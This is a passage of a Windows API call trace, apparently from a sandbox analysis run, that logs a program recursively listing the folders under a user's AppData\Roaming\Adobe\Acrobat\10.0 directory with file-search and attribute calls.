lpFindFileData=0x6cfe9e4) returned 0x6fd8ac0 [0068.657] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.657] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.657] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.657] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.658] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.658] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.658] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.658] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.658] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.658] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.658] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.658] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.658] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.658] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.658] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.659] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.659] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.659] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.659] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.659] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.659] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.659] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.659] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.659] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.660] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.660] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.660] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.660] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.660] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.660] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.660] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.660] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 1 [0068.660] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe9f4 | out: lpFindFileData=0x6cfe9f4) returned 0 [0068.660] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec7c) returned 1 [0068.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec88) returned 1 [0068.661] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x27 [0068.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebbc) returned 1 [0068.661] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe"), fInfoLevelId=0x0, lpFileInformation=0x6cfec38 | out: lpFileInformation=0x6cfec38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf61bf0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf87d50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf87d50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfebb8) returned 1 [0068.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0068.661] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x27 [0068.661] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8ac0 [0068.661] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.661] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.661] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.661] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.661] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.661] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0068.661] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 0 [0068.662] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec08) returned 1 [0068.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfec14) returned 1 [0068.662] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2f [0068.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0068.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\acrobat"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf61bf0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xaaf61bf0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xaaf61bf0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0068.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.662] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2f [0068.662] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.662] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.662] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.662] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.662] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.662] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x34 [0068.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.662] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\acrobat\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaaf61bf0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xb47b4dd0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xb47b4dd0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.662] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.663] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x34 [0068.663] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.663] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.663] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.663] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.663] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.663] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.663] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.663] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", lpFilePart=0x0) returned 0x3b [0068.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.663] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\acrobat\\10.0\\collab"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xae8f5010, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xae8f5010, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xae8f5010, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.663] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.663] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.663] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", lpFilePart=0x0) returned 0x3b [0068.663] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.664] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.664] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.664] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.664] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab", lpFilePart=0x0) returned 0x3b [0068.664] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.664] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.664] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.664] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.664] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", lpFilePart=0x0) returned 0x3a [0068.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\acrobat\\10.0\\forms"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0539550, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xb0539550, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xb0539550, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.665] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", lpFilePart=0x0) returned 0x3a [0068.665] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.665] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.665] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.665] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.665] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms", lpFilePart=0x0) returned 0x3a [0068.665] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.665] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.665] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.665] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.666] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", lpFilePart=0x0) returned 0x40 [0068.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.666] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb47b4dd0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xb47b4dd0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xb47b4dd0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.666] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", lpFilePart=0x0) returned 0x40 [0068.666] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.666] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.666] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.666] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.666] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.666] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.666] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts", lpFilePart=0x0) returned 0x40 [0068.666] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.667] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.667] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.667] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.667] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0068.667] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.667] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x34 [0068.667] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.667] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.667] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.667] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.668] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.668] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.668] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0068.668] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2f [0068.668] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8ac0 [0068.668] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.668] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.668] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.668] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 